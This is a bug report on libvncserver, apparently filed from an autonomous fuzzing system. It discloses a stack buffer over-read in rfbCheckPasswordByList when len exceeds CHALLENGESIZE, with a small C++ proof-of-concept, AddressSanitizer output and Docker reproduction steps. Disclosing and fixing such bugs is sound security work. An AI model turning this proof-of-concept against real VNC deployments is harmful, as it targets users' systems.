Stack-overflow (read) when `rfbCheckPasswordByList` is invoked with `len > CHALLENGESIZE`

[hgarrereyn]

Hi, there is a potential bug in rfbCheckPasswordByList reachable by providing a len larger than CHALLENGESIZE.

This bug was reproduced on 41dcae8.

Description

rfbCheckPasswordByList is used to validate a provided resp (of size len) against an internal list of passwords. It exposes both the resp and len as parameters, however there seems to be an explicit assumption that len == CHALLENGESIZE == 16. Specifically, the function generates an internal auth buffer of size CHALLENGESIZE and then invokes a memcmp on this and the provided resp using len as the size. In cases where len > CHALLENGESIZE, this manifests as a stack-overflow (read).

I only found one place where rfbCheckPasswordByList is called and it is directly invoked with CHALLENGESIZE as the len, so I believe it is unlikely for this issue to arise in practice.

POC

The following testcase demonstrates the bug:

testcase.cpp

#include <cstdio>
#include <cstdlib>
#include <cstdint>
#include <cstring>
extern "C" {
#include "/fuzz/install/include/rfb/rfbconfig.h"
}
extern "C" {
#include "/fuzz/install/include/rfb/rfbproto.h"
}
extern "C" {
#include "/fuzz/install/include/rfb/rfb.h"
}
int main(){
    // Minimal screen via API
    rfbScreenInfoPtr screen = rfbGetScreen(nullptr,nullptr,4,4,8,1,1);
    if(!screen) return 0;

    rfbClientRec *cl = (rfbClientRec*)calloc(1,sizeof(rfbClientRec));
    cl->screen = screen;

    const char *passwd_list[2] = {"password", nullptr};
    screen->authPasswdData = &passwd_list;

    // Overlong response
    char resp[64]; memset(resp, 'A', sizeof(resp));
    int len = 64; // larger than internal 16-byte temp buffer
    // Trigger the bug: unbounded memcmp over-reads auth_tmp on the stack
    (void)rfbCheckPasswordByList(cl, resp, len);
    return 0;
}

stdout

=================================================================
==1==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fee0ed00070 at pc 0x55c6132ff5a8 bp 0x7ffd6bb2f240 sp 0x7ffd6bb2e9e0
READ of size 64 at 0x7fee0ed00070 thread T0
    #0 0x55c6132ff5a7 in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) (/fuzz/test+0x505a7) (BuildId: 2d59dabad7963249cff5573a3b1ecf99f447953d)
    #1 0x55c6132ffb39 in memcmp (/fuzz/test+0x50b39) (BuildId: 2d59dabad7963249cff5573a3b1ecf99f447953d)
    #2 0x55c6133c3c94 in rfbCheckPasswordByList (/fuzz/test+0x114c94) (BuildId: 2d59dabad7963249cff5573a3b1ecf99f447953d)
    #3 0x55c6133bf888 in main /fuzz/testcase.cpp:29:11
    #4 0x7fee10adbd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #5 0x7fee10adbe3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #6 0x55c6132e4564 in _start (/fuzz/test+0x35564) (BuildId: 2d59dabad7963249cff5573a3b1ecf99f447953d)

Address 0x7fee0ed00070 is located in stack of thread T0 at offset 48 in frame
    #0 0x55c6133c3aaf in rfbCheckPasswordByList (/fuzz/test+0x114aaf) (BuildId: 2d59dabad7963249cff5573a3b1ecf99f447953d)

  This frame has 1 object(s):
    [32, 48) 'auth_tmp' <== Memory access at offset 48 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/fuzz/test+0x505a7) (BuildId: 2d59dabad7963249cff5573a3b1ecf99f447953d) in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long)
Shadow bytes around the buggy address:
  0x7fee0ecffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ecffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ecffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ecfff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ecfff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fee0ed00000: f5 f5 f5 f5 f5 f5 f5 f5 f1 f1 f1 f1 00 00[f3]f3
  0x7fee0ed00080: f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5 f5
  0x7fee0ed00100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ed00180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ed00200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7fee0ed00280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1==ABORTING

stderr

Steps to Reproduce

The crash was triaged with the following Dockerfile:

Dockerfile

# Ubuntu 22.04 with some packages pre-installed
FROM hgarrereyn/stitch_repro_base@sha256:3ae94cdb7bf2660f4941dc523fe48cd2555049f6fb7d17577f5efd32a40fdd2c

RUN git clone https://github.com/LibVNC/libvncserver.git /fuzz/src && \
    cd /fuzz/src && \
    git checkout 41dcae852ea4ea4ba07c28f4c6edd00d23d225df && \
    git submodule update --init --remote --recursive

ENV LD_LIBRARY_PATH=/fuzz/install/lib
ENV ASAN_OPTIONS=hard_rss_limit_mb=1024:detect_leaks=0

RUN echo '#!/bin/bash\nexec clang-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper && \
    chmod +x /usr/local/bin/clang_wrapper && \
    echo '#!/bin/bash\nexec clang++-17 -fsanitize=address -O0 "$@"' > /usr/local/bin/clang_wrapper++ && \
    chmod +x /usr/local/bin/clang_wrapper++

# Install build tools
RUN apt-get update && apt-get install -y --no-install-recommends \
    cmake \
    ninja-build \
 && rm -rf /var/lib/apt/lists/*

WORKDIR /fuzz/build

# Configure and build static libs only, disable optional dependencies
RUN cmake -G Ninja \
    -DCMAKE_C_COMPILER=clang_wrapper \
    -DCMAKE_CXX_COMPILER=clang_wrapper++ \
    -DCMAKE_INSTALL_PREFIX=/fuzz/install \
    -DBUILD_SHARED_LIBS=OFF \
    -DWITH_ZLIB=OFF \
    -DWITH_JPEG=OFF \
    -DWITH_PNG=OFF \
    -DWITH_SDL=OFF \
    -DWITH_GTK=OFF \
    -DWITH_LIBSSHTUNNEL=OFF \
    -DWITH_GNUTLS=OFF \
    -DWITH_OPENSSL=OFF \
    -DWITH_SYSTEMD=OFF \
    -DWITH_GCRYPT=OFF \
    -DWITH_FFMPEG=OFF \
    -DWITH_TIGHTVNC_FILETRANSFER=OFF \
    -DWITH_WEBSOCKETS=OFF \
    -DWITH_SASL=OFF \
    -DWITH_XCB=OFF \
    -DWITH_EXAMPLES=OFF \
    -DWITH_TESTS=OFF \
    /fuzz/src && \
    cmake --build . --target install -j$(nproc)

Build Command

clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lvncserver -lvncclient -pthread && /fuzz/test

Reproduce

1. Copy Dockerfile and testcase.cpp into a local folder.
2. Build the repro image:

docker build . -t repro --platform=linux/amd64

3. Compile and run the testcase in the image:

docker run \
    -it --rm \
    --platform linux/amd64 \
    --mount type=bind,source="$(pwd)/testcase.cpp",target=/fuzz/testcase.cpp \
    repro \
    bash -c "clang++-17 -fsanitize=address -g -O0 -o /fuzz/test /fuzz/testcase.cpp -I/fuzz/install/include -L/fuzz/install/lib -lvncserver -lvncclient -pthread && /fuzz/test"

---

Additional Info

This testcase was discovered by STITCH, an autonomous fuzzing system. All reports are reviewed manually (by a human) before submission.